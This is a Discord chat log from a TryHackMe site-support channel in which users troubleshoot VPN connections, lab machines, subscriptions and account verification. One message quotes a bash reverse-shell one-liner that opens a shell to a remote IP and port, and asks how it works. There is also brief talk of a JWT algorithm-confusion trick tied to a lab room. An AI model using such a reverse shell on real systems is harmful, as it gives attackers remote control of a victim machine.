site-support

[regal pond]

so what should i do

[naive dust]

Try downloading a new server script.

That is closer to you.

[regal pond]

what do you mean

[naive dust]

Can you get to this screen?

[regal pond]

yes

[naive dust]

Ok, where is says Eu..

Click it and select a different one from the drop down menu.

[regal pond]

ok

thank you

and can you do this in linux using the terminal

[naive dust]

You should download it in linux ( or transfer it) and then run

sudo openvpn /path/to/file

[regal pond]

can i use wget to download the file

[naive dust]

You could log in to THM on the VM and download it that way.

[plush bay]

no gui???

[regal pond]

i cannot as i have used my 1 per day

[naive dust]

You can still log in.

You can't run the attackbox.

Which is fine, as you don't need to.

Just log in to THM, go to access and download the vpn script.

[regal pond]

ok thanks

[scenic torrent]

Gave +1 Rep to @lament valve

[regal pond]

but can i do this using no gui

[naive dust]

Which linux VM are you using?

[regal pond]

kali

[naive dust]

You should have a gui then.

[regal pond]

i know but using terminal is much more faster

so i use the terminal

[plush bay]

well don't think that website of tryhackme actually supports using curl or wget.... but you could download it on the host machine and then move it over using scp or a python webserver

or use built in features to share folders

or just open firefox on the kali vm and download it from there without problems

[naive dust]

Firefox would probably the fastest.

[regal pond]

ok thank you for spending your time helping me

धन्यवाद

[static lily]

Hi @barren birch , can I also dm you my token please ? seems I can't get help otherwise...

[naive dust]

hi

i didnt use tryhackme for a year and i created a new account, can i get the old acc token removed?

[neat plank]

DM to Admin

[neat plank]

You can DM to Muiri

[crystal marlin]

Ben was replying to you #site-support message

[static lily]

Yep well he didn't answer my DM's and I can't send him any more messages for some reason...

Really, I've tried everything, even contacting support via email...

(Hence this desperate last message 😫 😆 )

[crystal marlin]

Ok, well maybe you haven't been patient when DMing Ben 😄

[static lily]

I can't send you the content of my messages since I'm not registered, but here it goes as text : Hey ! Thank you so much !
Here is the issue : I enabled 2FA on my former account and got locked out on both my computer and my smartphone so I didn't have access to the account anymore. Long story short, I can't access my account anymore and the tryhackme discord token is affiliated to my former account (which is in the process of being deleted by discord).
Therefore, is there anyway you could get a new discord token for my account ?
The infos :
THM id : G4vr0ch3
Former Discord id : #6922
New Discord id : #2871
Former token : <REDACTED>
Many thanks and sorry for the inconvenience... 😅

[scenic torrent]

Gave +1 Rep to @crystal marlin

[static lily]

Anything wrong ?

[crystal marlin]

lol, it wasn't meant that serious, so no need to prove me anything 😄

[static lily]

Oh ok 😅 😂

[barren birch]

@static lily yeah, go for it :)

[static lily]

Thank you soooooo much

[scenic torrent]

Gave +1 Rep to @barren birch

[distant leaf]

Guys I'm doing plotted machine and for enum I try to fping or subnetting so I found some network alive to tried. and what i found this web pages that look like other machine. I know this isn't bug but im curious to know it could be possible

[distant leaf]

FBI at my door

[plush bay]

tos breakage for sure

[distant leaf]

😨

[plush bay]

you are probably fine as you did it unintentionally but yeah messing with others target machines is probably against thm tos

[distant leaf]

yeah I know it just coincidence

read my note carefully

[hexed scarab]

@distant leaf time to learn basic networking 🙂

(so you will know WHY)

[distant leaf]

sure i do

I got my ans

[pine bloom]

hey guys, chould someone explain to me for bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

ı can not understand what going on behind the scene

[static lily]

don't know if you know this tool : https://explainshell.com/explain?cmd=bash+-i+>%26+%2Fdev%2Ftcp%2F10.0.0.1%2F8080+0>%261

It can be pretty helpfull from time to time 😉 hope it helps !

[pine bloom]

omg man , do not know

thanks so much

[static lily]

On the other hand, it seems like minothor's labyrinth room is broken : (the submit button won't work unfortunately)

[analog inlet]

hi

[static lily]

My pleasure 😉

[analog inlet]

can someone help me ?

[static lily]

What's the issue ?

[analog inlet]

about dual boot on mac monterey.

[static lily]

I don't think you are on the right channel though 😅

[hexed scarab]

@static lily why not? It's tech support. 😄

[hexed scarab]

check browser console/network tab. I guess some of the css/js files will not load. Maybe and ad blocker?

[static lily]

Dunno, felt like this channel delt with tryhackme related tech support 🤷

[static lily]

Didn't think about that, I'll check in the morning thanks !

[scenic torrent]

Gave +1 Rep to @hexed scarab

[hexed scarab]

Of course it does 🙂

[modest rune]

how do i find this window to connect with rdp? https://assets.tryhackme.com/additional/win-event-logs/remmina.png

[pine sky]

Hi! I have an issue with my streak break. I had a 7 day break. Recently I used one day, because I was ill and wasn't able to do any room that day. Today I also had to be without internet connection knowing that my streak break will save me from loosing it. But now, I just need to start from scratch. Could you help me, please?

[crystal marlin]

#site-support message

[pine sky]

Thank you!

[scenic torrent]

Gave +1 Rep to @crystal marlin

[random grove]

The minotaur room is really slow to respond. You might need to submit several times for it to notice

[static lily]

Kinda spammed the submit button and it didn't work... I'll try again tomorrow ☺️

[shadow pawn]

Can anyone help me with Streak?

[normal forum]

hey i have some problem with the tryhackme virtual machine

when i try to type some thing

the virtual machine did not show the letter

ex: i tried to type hi , i did not show on the screen

but my keyboard is fine

can anyone help me with that

[naive dust]

I cant access the wreath network at all.
There is no way to start the lab

Its not coming up in my networks tab

[crystal marlin]

Did you join the wreath room first?

[static lily]

You were right, some things won't load ! And from what I see, having login.js not working is the issue... Any idea how to fix that ? (no extension activated)

[regal pond]

when i try use sudo openvpn Downloads/filename it dose not work what should i do

what should do

hello

anyone

[crystal marlin]

First of all, you might want to chill a bit, you asked like 3 minutes ago

Secondly, it would be best to verify your thm profile in discord and then send a screenshot of what's not working

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[regal pond]

i tried it a second time it worked

[hexed scarab]

It seems jQuery is not loaded. The login.js is broken because of that

[static lily]

So can I fix it ?

[hexed scarab]

I would contact room author, with the screenshot.

Also test another browser + anonymous tab

[static lily]

yeah, tried that... gonna contact the room author 😉

[crystal marlin]

Do you have the target machine still up?

[static lily]

nope, but I can start a new one if needed

[crystal marlin]

No it's fine, did you also check a write up, maybe it's intended to be like this?

[static lily]

I didn't look too much to avoid any spoiler, but it seemed it should be working yes !

[spark igloo]

does anyone know how to fix my terminal it looks like this " kali% " , it doesnt look like it used to look

i deleted some file

in acident

[rare wadi]

Hi

What is in-regular in vpn

Is it India?

[zealous yoke]

yes

[rare wadi]

But it was not connecting

So is in-regular working?

[rare wadi]

I tried it many times even regenerated the vpn file but did not work
only when i changed to a different country it worked
Btw i use a virtual machine(VMware)

I changed it to Australia
Then that worked
Thanks anyway for replying

[cobalt basin]

Hello, Im not sure i fully understand the problem, or im simply missing something, but i connect to THM with ovpn and i face an issue where i cannot connect to the website the task is telling me. This problem occurs only sometimes. On most tasks it works fine.

[crystal marlin]

So you facing that issue right now ?

[cobalt basin]

Well after failing to resolve the issue with mum google. I chose a different room for now.

Might be something with browser settings, cos i can ping and nmap it

Other sites work well, but its just the tasks site thats not available

[naive dust]

What room are you doing?

[cobalt basin]

Authenticate in Web fundamentals path

was the one that i couldnt access with web

[naive dust]

Ah, I see.

[frosty elbow]

hello guys

I can't connect to the thm vpn

[naive dust]

Why not?

What error are you getting?

[frosty elbow]

one sec

leme post a sc

#room-help message

[naive dust]

Ben has answered you, he'll provide better help than me.

[frosty elbow]

gotcha

[zealous yoke]

Hi 👋 just give me a second (:

[frosty elbow]

now it says

[frosty elbow]

ok

[zealous yoke]

I am currently telling the electrician what thing goes where lmao

[naive dust]

Atleast someone knows that they're doing.

[zealous yoke]

You're telling me

What server are you using @frosty elbow that looks like an EU server? VIP 1 or reg 2? I can't remember what IP is what exactly these days lmao

[frosty elbow]

how can I find out

[zealous yoke]

But yeah that error is usually some form of routing error on your VM/network. Does tun0 get created on your kali? (ip addr) I'd recommend trying another VPN server for troubleshooting purposes though

[zealous yoke]

https:///tryhackme.com/access

[frosty elbow]

one sec

[zealous yoke]

oh great it'd be good if I can spell it right

https://tryhackme.com/access

that one (:

I'l llook at the VPN server metrics

[frosty elbow]

EU Regular 2

[zealous yoke]

2nd time lucky hehe

yeah bare with I'll check the server

but I think changing server and regenerating (say regular 2? but you are subscribed so you can use the VIP servers) may be the quickest for troubleshooting

[frosty elbow]

how do I get a vip server

😅

[frosty elbow]

do I need to generate an eu vip 1 or 2

yeah just found it

[zealous yoke]

I can tell you what is the least busy atm out of the two in a second

[crystal marlin]

Non subscriber identified

[zealous yoke]

My yearly voucher ran out yesterday

vip 2 is the least busy atm @frosty elbow

[frosty elbow]

got it

[zealous yoke]

if regenerating and using a new vpn file doesn't work then it's defo a local network problem

[frosty elbow]

i just regenerated one with vip 1 selected

and its not connecting

leme try the 2nd one

[zealous yoke]

could be routing from your VM or your host device specifically:

1. firewalls
2. ISP
3. The network that you're using (i.e. you might have more success over ethernet than wifi)

[frosty elbow]

ok

it might be my ISP

cuz I switched one today

it worked fine prior to that

[zealous yoke]

Yeah I'd put a bet on it

the VPN uses UDP on port 1194

ISPs sometimes have a problem with that (mostly geographical but not always sometimes they just suck)

[frosty elbow]

I have my old SIM Card as well

leme try that if it'll work

[zealous yoke]

sure sure (:

is your old SIM card still valid?

[frosty elbow]

yeah

[zealous yoke]

Usually if you change things like that they'll deactivate the old one for the new one

ah okies

😄

[frosty elbow]

here, the sim will deactivate if it hasn't been used for about 6 months

I think

so I have plenty of time 😅

[zealous yoke]

okie dokie

well let us know how you get on

(:

[frosty elbow]

for sure

YAY 🥳

[frosty elbow]

Thanks dude

[scenic torrent]

Gave +1 Rep to @zealous yoke

[frosty elbow]

thank you for your time

[zealous yoke]

Awesome well GL with it

yes ty Scrubz

Sorry I hijacked that somewhat haha

[frosty elbow]

🥰

[naive dust]

I don't mind, I like to try help out, I would have suggested a new vpn file, but you'll know more than me.

[zealous yoke]

How optimistic of you but yeah maybe heheh

[pine bloom]

JWT Signature - RS256 to HS256 , we could change alg parameter which is part of header , Questions is , after change alg paramater , again we sign it with rs256 public key or not ?

[broken bear]

#room-help for this question please

[swift plank]

I'm unable to connect to machine
Help please

I can ping it, its up. But cannot open in browser

even THM cannot access IP

[broken bear]

are you putting in the IP address, or actually http://<ip>

[swift plank]

THM cannot access the IP
see ?
usually it picks up the IP

[broken bear]

That's hardcoded as part of the room.

Try again with http://10.10.184.41

[lone knoll]

wasn't 100% sure on where to put this message but since is under "support" think should be fine? Anyway.. I am on my third year of my degree and my dissertation project consists on creating a learning platform for beginners who want to go into cyber. I saw that on try hack me it is possible to host private rooms so was wondering if I can upload static websites, similar like the ones that pops up as a split view on thm? i got few web challenges and was wondering if that's possible, thanks in advance !

[bronze vale]

I don’t think we offer split screeen for private rooms at the moment iirc

[naive dust]

Not really a tech-support question about THM. But more a private one, i'm selling my computer. And is there anything i should worry about when i'm selling it or is a regular windows factory reset good enough?

[loud marsh]

OpenVPN getting a fatal error now.
I tried regenerating a new openvpn file from another server and it still failed to connect.

[naive dust]

Hi, I am trying to setup openvpn for the first time but I'm not sure what I am doing wrong. Actually I have established a connection with open VPN already and receive the "initialization sequence completed" message, I then check back on THM and see that I have a tick for "connected", however I can no longer use this terminal.

I opened a new terminal and used "ifconfig" to see that I am connected, so I tried to ssh tryhackme@machine IP, but I don't know what the password is. Thanks

[lament trout]

which room are you doing?

[naive dust]

Network services, the machine is Title polosmb3

[gleaming current]

I just bought this laptop today for school + kali fun and now that I have kali installed on virtualbox it runs like absolute shite. Any ideas? https://www.samsung.com/us/computing/galaxy-books/galaxy-book-flex-alpha/galaxy-book-flex2-alpha-13--np730qda-ka1us/#specs

It's all of the same settings as my main setup on my desktop and my desktop runs flawlessly.

[shy thorn]

Not really, windows formatting just tells windows “hey these bits here are free to use” but doesn’t really change their contents IIRC, I would say do some research on drive wipers and if you can it’s best to just by a new drive.

[cedar crest]

I am working on training module "Cross-Site Scripting - Task 8"
I have the cookie value but the system does not accept it.

Your answer is incorrect

I need help from support

[strong dock]

hello

why cant i login to the attackbox
it keeps saying permission denied?

[crystal marlin]

Show a screenshot of what exactly you are doing pls.

[north bolt]

Hi

I have sent token to !verify nd still haven’t got verified (I sent it 2 days ago)

[crystal marlin]

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[crystal marlin]

So you followed these steps ?

[hoary lagoon]

Somebody there who is good in Wireshark?

[north bolt]

Yep

[strong dock]

i followed the walktrough and it said because there are spaces in the file name that i need quotations
wont autocomplete either
https://www.youtube.com/watch?v=ixFaT5sa4r4 timestamp 9:16

i cant type the quotations is that normal

[polar vigil]

anyone else been having trouble just getting on to the attack box or being kicked off it mid way through a room?

[teal dove]

Hi, anyone please tell me what happens when I redeem two one month vouchers at a time. Will it save my plan or do I have to wait one month to redeem another voucher?

[eager fulcrum]

You cannot activate a voucher if you're currently subscribed, so you will need to do them in sequence

[teal dove]

Okay thank you for the clarification.🙏

[scenic torrent]

Gave +1 Rep to @eager fulcrum

[sonic veldt]

I can't change my country

whenever i set it to another one, it autmatically changes to UK

[clear whale]

hey! I wanted to avail student discount while getting a premium but it dosen't recognises my email as student. So i have dropped 2 emails since last week and still haven't got any reply . So can anyone help me here.

[lost bolt]

hi can a mod help me reassign my role to another discord account?

[gleaming mortar]

Hi all. I'm having an issue with my firewall for some tasks in the CC: Pen Testing room. I get the following notification:
Category: Intrusion Prevention
Date & Time,Risk,Activity,Status,Recommended Action,IPS Alert Name,Default Action,Action Taken,Attacking Computer,Attacker URL,Destination Address,Source Address,Traffic Description
2/21/2022 10:53:25,High,An intrusion attempt by 10.10.56.153 was blocked.,Blocked,No Action Required,Attack: Malicious Scan Request 6,No Action Required,No Action Required,"10.10.56.153, 80",http://10.10.56.153/,"< My Device > (10.18.19.207, 1320)",10.10.56.153,"TCP, www-http"

I've tried adding an allow rule for the target VM IP (10.10.56.153) and moved it to the top, but with luck. 😞 Any ideas?

I'm on Win10 machine using Kali in VBox as attack machine. The 10.18.19.207 IP is a wireguard tunnel IP on my macine.

[eager fulcrum]

So you're scanning the target machine and getting alerts that the target machine is being scanned?
Also, it won't be a wireguard tunnel, THM uses openvpn.
Run the VPN in Kali and only Kali.

[south kelp]

Heyy, any support here for a problem on the website account ?

[eager fulcrum]

If you need official support, that's handled over email

[south kelp]

Okay, ty

[scenic torrent]

Gave +1 Rep to @eager fulcrum

[naive dust]

Does anyone of tech support fellas read emails? 😄

[glad egret]

Yes?

[bronze vale]

Only email once, I’ve been answering in a weird order recently so if you keep emailing your query will take longer

[raw hull]

my answer for active domain network is trees and it is registering it as incorrect

[naive dust]

@bronze vale I emailed just once, 24h ago. I think you should prioritize people with yearly subscription 😛 #justsaying

[bronze vale]

Nobody gets priority, I love everyone equally:)

[naive dust]

fair enough ❤️

go reply to my email now 😗

[bronze vale]

Nah

But if you keep being rude, you will lose your right to support.

[twin bluff]

Hi, today i tried to deploy Blue again with a friend but it doesnt. It says that i first should finish the machine to start anotherone. Could you help me? What should I do?

[naive dust]

@bronze vale Being rude? What was rude about what I said 😄

@naive dust Not trying to boss anyone. I've been waiting for more than 24h for techsup reply 😦

[crystal marlin]

Solved it meanwhile ?

[crystal marlin]

Solved it ?

[naive dust]

@naive dust I'm quite sure he is busy a lot and I agree with you but, if you pay yearly subscription you expect someone working on techsup to get to you 😛 Anyway, I'm not in a rush and I love Jared.

[twin bluff]

I just started it and it didnt show me the ip address, so i refreshed the site

and then i couldnt start again

[crystal marlin]

Did you use ctrl + F5 for a hard refresh?

But it sounds like the machine was already running, therefore you couldn't start it again.
To terminate all machines you have started you could use that: #site-support message

[twin bluff]

i think yes i did

ok, thx u ♡

[gleaming mortar]

Thanks Ninja. I got it working. I needed to redownload my OpenVPN config file.

[scenic torrent]

Gave +1 Rep to @eager fulcrum

[young bronze]

@desert stream

this good?

[desert stream]

b0nk

[young bronze]

😄

[magic ether]

Hi Techies, I wonder how is this events on TryHackMe counts? Today I finished walkthrough 3 rooms and answered about 20 questions but only shows 3 events are noted, meanwhile before this I was only clicking on the "No Answer Needed / Completed" kind of questions it shows 1 event done by click on that already. Is it a bug or THM changed some policy on this?

[unique oak]

https://tryhackme.com/room/authenticationbypass anybody else unable to finish Task #3 in this room? Literally everything works except step #3

literally spent an hour trying to understand whats wrong. I have a straight up basic txt file in that directory with just usernames. Opened up the txt folder for passwords too nothing crazy

Probably will just end up copying and pasting answer from offline maybe this command doesnt work anymore?

[naive dust]

Weird. The activity board didn't mark a single event I did in the last 6 days, luckily dashboard is showing them so my day streak is not discontinued 😄

[crystal marlin]

Does your valid usernames file only contains the usernames on any extra strings like Status, Size etc. ?

[magic ether]

I want to maintain it to all deep green 🥺😭😭😭

[craggy cradle]

Having a problem with the Wreath network. Someone has shut down the httpd service on port 1000. Been like this for over an hour now. Not enough votes for a reset. I imagine everyone else has moved on to other challenges that don’t require access to port 1000.

Neap scan from my bare metal machine over the wreath vpn just say the network is flat out down. Using nmap on the attack box shows doesn’t even show the port being up.

[eager fulcrum]

Wasn't it port 10000? #wreath-network would be the best place for this.

[craggy cradle]

Yes it is 10000. That was a typo. This was a technical problem with the network itself which is why I posted it here. It’s been resolved.

[eager fulcrum]

This channel is aimed for site and VPN help, #wreath-network is explicitly dedicated to that network. Asking for resets etc or troubleshooting is best placed there.
This guidance is for your own benefit, as that's where you'll get dedicated attention for Wreath in particular.

[craggy cradle]

Heard

[naive dust]

I need help with my wifi adapter setup

I downloaded the drivers, but when I enter the "make" command it gives me an error - /bin/sh: 1: not found

[naive dust]

I ran update and it worked lol

Oh sorry

[brazen sorrel]

Hello All, I'm currently a TA and we have more than 30 students in our class every year... I managed to push our .ova machines to tryhackme but used VPN to talk with the machine....I was wondering whether each of our students need to have individual subscriptions with VPN access or do tryhackme has any user packages???

[zealous yoke]

Hey Meeran. Your students will need to have their own individual accounts (they can use the VPN for free though)

As you're a teaching institution, you might find our classrooms programme of interest? We offer flexible seating which probably sounds like what you're looking for. You can schedule a demo or read more here: https://tryhackme.com/classrooms

[brazen sorrel]

Hello Ben, thanks for your response...does that mean if our students don't have subscriptions can access through VPN without any limitations like 1 hour/day or only 1 hour/day is applicable if they are not subscribed??

[zealous yoke]

For the VPN that's correct (: there's free-tier VPNs that have no restrictions of use (i.e. can only use it for 1 hour a day)

It's only the attackbox that has that time restriction for free users

[brazen sorrel]

I see that's great news for us..

[naive dust]

.

[zealous yoke]

?

[naive dust]

That was my fault Ben, I posted the message you posted about using the code to kill machines/attackboxes.

[zealous yoke]

All god, was just confused with a “.” In a ping out of the blue ahhaha

[sleek topaz]

I'm wondering if there's a bug in the sysinternals room. I'm trying again today with the same results - here was my post in the room-help thread yesterday:
I'm in the sysinternals room, task 3. I keep trying to turn on network discovery but after I click "Save Changes", I can go right back in and the button is unchecked again. I can't proceed in the room without this enabled; Any suggestions? I'm using the attackbox.

webclient is running

[fallow kernel]

can you not run nordvpn with a virtual machine running openvpn

?

[dire osprey]

Hello! I wonder whether I am doing something unwell, as I am unable to connect to the machines I deploy via SSH. (Not via the AttackBox nor OpenVPN).

The Error that I receive is: ```Permission denied, please try again.

Any aid would be cherished! 
Cheers!

The Room's name appears to be Network Services.

Enumerating SMB

I appreciate the aid by the way 🙂

[naive dust]

What's the machine ip?

[dire osprey]

Well the order of the room was to connect to the SSH.

[naive dust]

Actualy, yeah!

lol

[dire osprey]

Unfortunately, I am unable to post an image of the task

Lets Get Started

Before we begin, make sure to deploy the room and give it some time to boot. Please be aware, this can take up to five minutes so be patient!```

[naive dust]

If you're exploiting smb you need to use smbclient $machineip

[dire osprey]

I thought this is what it meant, I apologize, I am very new to all this

So basically, I have activated the machine and yet I am not meant to connect to it?

[naive dust]

No worries! we were all learners at one point some of still are

[dire osprey]

So I am meant to send an SMB request to the machine?

[dire osprey]

😄

I believe I understand, thank you so very much!

[scenic torrent]

Gave +1 Rep to @smoky berry

[dire osprey]

How would I be able to give you a +rep as well Scrubz?

As a token of gratitude I suppose

[naive dust]

No the syntax for the task was

||smbclient machine ip/secret -u suit -p445||

[scenic torrent]

Gave +1 Rep to @lament valve

[dire osprey]

Oh, there we go xD

[naive dust]

No, but just incase sorer tries to add -L when he gets to the task

That task does.

[dire osprey]

I shall take a closer look and attempt figuring it all out

Thank you very very much, I wish you a delightful day!

[naive dust]

anyone know a good proxyshell remediation guide?

[wet atlas]

https://cdn.discordapp.com/attachments/941797585637769256/945715055956209755/unknown.png
anyone help me fix this error (im a begginer)

[carmine pasture]

For some reason I'm having trouble connecting to the machines in trackhackme but when i use the AttackBox it works. I tried re downloading the vpn but it still doesn't work

nope

I get a request timeout

multiple

it was working this morning though, not sure what happened

I usually have multiples

right now 3

I'm on osx by the way

yeah

[void quest]

Hello Everyone, I have a question:

How can I buy one month coupon ? is this possible?? if yes please let me know cause I can see only monthly/yearly subscriptions.

[naive dust]

Yes, click the "other" tab and that will give you the option to buy vouchers.

Under the number of subscriptions there is a slider you can month to select how many months.

[fiery bone]

can someone tell me how to fix the issue with the machine_ip placeholder not changing?

[zealous yoke]

👋 hello, what room is this for? Could you provide a URL please? If it doesn't replace automatically, refreshing the page should work

[void quest]

@naive dust Thank you very much 💯

[scenic torrent]

Gave +1 Rep to @lament valve

[fiery bone]

https://tryhackme.com/room/furthernmap#

completely new to tryhackme, i had this issue in another room where refreshing did indeed work, but it doesn't seem to here

i mean i don't suppose it impedes me in this room anyway, just figured it might in the future

[zealous yoke]

Thanks

Mhhm, and refreshing the page in your browser didn't work? @fiery bone

It takes about a minute after you press the deploy button to for the value of machine_ip to replace

[fiery bone]

i've definitely waited more than a minute lol

[fiery bone]

nope, restarted it entirely too

[zealous yoke]

Fair enough (: just for the road ahead 👍

interesting -- bare with me

What task is it not replacing for you?

[fiery bone]

14

the practical

[zealous yoke]

Thanks!

Mhm. It's replacing okay for me. And you deployed the machine from task 1, and not the attackbox right?

[fiery bone]

yeah i think so

i'll try a diff browser?

[zealous yoke]

Have a look (: do you have this card at the top of the room?

[fiery bone]

yup

[zealous yoke]

Mhhm that's an odd one

Yeah try a different browser perhaps. Do you have any extensions that stop javascript?

[fiery bone]

danny phantom, nice

[fiery bone]

one of my adblockers perhaps?

[zealous yoke]

Hahaha yeah

Ah possibly?!

thm won't serve you adverts

see if adding that as an exception has any difference

[fiery bone]

yeah just have it on by default lol

ill try!

[zealous yoke]

safe browsing 😎

[fiery bone]

alright so brave works

[fiery bone]

ty 😄

[scenic torrent]

Gave +1 Rep to @zealous yoke

[unique oak]

Not a single string; what i'll do tonight is make a fresh txt document and hand type the usernames

[crystal marlin]

Ye, sounds good

[floral quail]

Is it normal for an nmap scan with -A and -p- selectors to take an hour and a half? I'm using attack box. Would it be faster to run it from my desktop instead?

[hollow otter]

Yes its normal

You scanning all ports with aggressive mode, read the manual if you more curious what this flags mean

[unique oak]

I screwed it up; I wonder if there was some sort of hidden chars when I copied and pasted the individual "names" from when I catted the results. Issue resolved thanks again

[scenic torrent]

Gave +1 Rep to @crystal marlin

[unique oak]

anyone else having issues with task 4 in authentication bypass?

It mentions how looking in curl request 1: somehow you can tell variable "$_REQUEST" is sent to the web server I dont understand where in the actual curl request you would see that correlation? lol

I literally checked all the JS files in and there is no mention of any PHP or even a $_REQUEST variable

or is that one of those random pieces of tribal knowledge you learn about later on when you delve deeper into PHP?

[echo gate]

hey all 🙂 apologies if this is the wrong place to ask this. I was wondering if there was a setting that allowed the input line in the linux terminal to be frozen at the bottom of the window, so that commands can be seen and entered while the scrollbar isn't at the complete bottom. sorry for the noob question

also smooth scrolling would be nice, maybe theres an extension that can be installed? I use the attack machine

[brazen sorrel]

Hello All, does tryhackme have a kali version?

[celest wadi]

https://tryhackme.com/room/kali

[naive dust]

If you're talking about the Kali browser edition It's 2 years out of date

[brazen sorrel]

I'm from an educational institution we use VB now and have our own Kali which is still old...I was thinking whether if we are using kali machine in tryhackme, can I upload all the labs inside your kali machine and our students can access through attack box itself??

[celest wadi]

attackbox and kali machines are reset(i.e, all files and data removed after their maximum of 6 hours or so),
I think you want to create a "room", then you can upload a machine which would be accessible to everyone all the time

I'm sure a thm staff person can further elaborate 🙂

[brazen sorrel]

Okay as far what I understand is instead of moving our files to kali inside THM, You want us to move our entire .ova in to THM and so our students can access it from there??

[celest wadi]

yes,

[brazen sorrel]

I see really appreciate your response! Many thanks @celest wadi

[scenic torrent]

Gave +1 Rep to @celest wadi

[celest wadi]

🙂

[wraith torrent]

Hey everyone! I was wondering if someone might be able to help me with accessing THM? I am currently trying to decide between using WSL2 with Kali in a separate restricted user account or trying to potentially setup a cloud based kali machine, what would be the best way to go about these possibilities?

[deep spire]

If you're a subscriber then you can use the attackbox for a s long as you like (It's a hosted VM with lots of tools installed, 1 hour a day for free users), otherwise i recommend running a VM (Kali or Parrot) on your own machine (Virtualbox or vmware)

[wraith torrent]

I am not a subscriber, but had a free trial at one point and was using the attackbox, liked it a lot. Now I am a free user and would like to do the exercises from my machine, running a VM would not be super practical on my machine as it is very underpowered. This is why I was wondering about the other two options I have outlined, because from my understanding WSL2 is lighter than a full on VM and also easier to configure (potentially) or setting up my own cloud based kali machine

[deep spire]

I get what you're trying to do, but I have the feeling WSL2 is going to cause you issues that may be harder to troubleshoot (connectivity issues mainly). If you're on an under-resourced machine you may find that using Kali on a live USB is an option, otherwise cloud hosting would be an option, with the VPN running you shouldn't have issues from a hosting provider, but I'd still check their T&C's. You also might pay more in hosting than a subscription, depending on your tier.

[wraith torrent]

Ok thank you very much for taking the time to answer! I will look into potentially using Kali live usb.

[scenic torrent]

Gave +1 Rep to @deep spire

[static lily]

Hey, so I am working using wsl2g and it is actually pretty convenient. HOWEVER, the use of graphical applications can be a bit tricky, you will sometimes encounter issues a bit harder to troubleshoot and fix, but otherwise, it's pretty fast and convenient

[chrome knoll]

Hello all

Guys, can you please check my access to room-testing discord channel ?

I was added there by @candid yacht

[wraith torrent]

I see I was more talking about making sure that it is isolated from the rest of my computer, want to protect myself as well as possible

[static lily]

It is not isolated at all.

[wraith torrent]

Yeah that's what I was worried about, this is why I was potentially considering using a Docker container to run a kali image and use that or setting up a kali machine in the cloud however my main problem with that is that I would be using a free trial which is probably fine however unsure about using aws

[static lily]

I think you'd be better off with a vm or live installation 😂

[nocturne shuttle]

Hello. I sent an email to [e-mail] regarding my account on Feb 15th, and have yet to hear anything back. I've sent multiple follow up emails and still no reply. What's it going to take to get someone at THM to respond and help me with my account?

[wraith torrent]

VM requires a decent amount of overhead in the sense that it is very resource heavy, my current machine is very limited and as for a live install I currently don't have access to a usb drive

[naive dust]

Nothing but patience, if you have sent follow up E-mails all you can do is wait. The more you E-mail though it will just keep getting pushed down the list. So I suggest 1 every 7 day(s)

[nocturne shuttle]

Hey thanks for the reply, although disappointing to hear. I've emailed THM in the past and they've responded almost immediately and have been incredibly helpful. But this time it's regarding my account and I just find it surprising I'm going on 8 days now and no reply.

[scenic torrent]

Gave +1 Rep to @lament valve

[naive dust]

I'm sure sure the support team have multiple E-mails to go through.

[oblique robin]

Can i ask hackng related questions right here?

[naive dust]

Depends on the question...

This channel of for Q's directly linked to THM or the VPN, but sometimes they are off topic.

[oblique robin]

like network hacking and creating malware files?

[naive dust]

Network hacking, maybe.

Malware, More than likely not, (There is a channel for Malware dedicated to studies) but that's purely on an Ethical basis.

[oblique robin]

Ok, thanks

[humble halo]

I'm trying to download my Open VPN config file but just keeps going to 404

[naive dust]

Try using a different server.

[humble halo]

Yep just switched

cheers

[naive dust]

Are you using the sub one?

[celest wadi]

that sounds like a support issue

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[bronze vale]

Hey all 👋

You may receive a delayed response if you have emailed from Sunday.

I would like to apologise for the inconvenience, you should receive a response within 24 hours of this message 🙂

If you have already emailed, continuing to email will push you to the top of the inbox (and I answer bottom to top), so your query will take longer for me to get to. Please email once, the only exception is if you have multiple different queries:)

Happy hacking!

[naive dust]

I viewing the video "linux foundamentals part1" but what i can view in my machine (when i press "access machine") is quite different.... infact when i press "ls" i see a lot of folder and not only 4 like in the video.... who can help me?

[gritty junco]

hello there, I need your help. I've got an issue with my machine: nc and wget never work, I can ping my machine but when I've got to receive a shell or get smtg from http.server it's impossible. I always have to start my THM AttackBox to be able to do so

[void ridge]

What error do you recieve?

[gritty junco]

not an error, just an infinite waiting loop like if nothing is coming

[void ridge]

Are you using the THM VPN?

[gritty junco]

Yes

I am able to nmap, ssh etc

But not with wget and nc (for thm box, it’s working otherwise)

[echo ermine]

On discord, people keep replying to my messsages, and I see the numbers in the circles next to the rooms. But there's no way for me to find those replies, is there?

[void ridge]

When trying wget are you setting your the VPN ip or your local IP? eg wget 10.?.?.?(the ip of your tun0 interface) or wget 192.168.?.?(wan0 interface)?

[echo ermine]

I keep having to scroll up through hundreds of messages to find the replies. And even then, I miss many of them.

[void ridge]

*wlan0 sorry 😛

[echo ermine]

Anyone know how to find replies to your posts?

[naive dust]

Click search in the top right and then you can filter by who mentioned you

[blazing kettle]

How do can I update my level on Discord? my Profile on THM says I am level 9 but my Discord says 8

[naive dust]

It updates automatically, don't know how often

[echo ermine]

Thanks!

[scenic torrent]

Gave +1 Rep to @winter plover

[naive dust]

Re verify

[bronze vale]

You’re level 8 https://tryhackme.com/p/Giraffy

[quasi ruin]

Hello there,
on the thm dashboard I can find "totalPoints" for me and my friends
(returned by https://tryhackme.com/friend/all)
Is there an api endpoint to get these totalPoints for a public profile?

[void ridge]

When you click on your profile under you points and avatar there is a button to go to your public profile.

[blazing kettle]

https://tenor.com/view/war-dogs-war-dogs-movie-stressed-facepalm-jesus-help-me-gif-16017210

[blazing kettle]

Thanks for the reminder. I was looking at the next rank

[scenic torrent]

Gave +1 Rep to @quasi ruin

[quasi ruin]

I know, but I can't find the totalPoints on the public profile.

It looks like they are not part of the public user profile.

[radiant sail]

hey guys when i use the ovpn to connect to rooms, I can nmap and ping the boxes, but the room websites dont load properly. They either partially load and keep buffering or don't load at all

I tried different servers and it's the same problem

However when I use the ovpn of hackthebox (another website) it works flawlessly....any suggestions>

[fierce zealot]

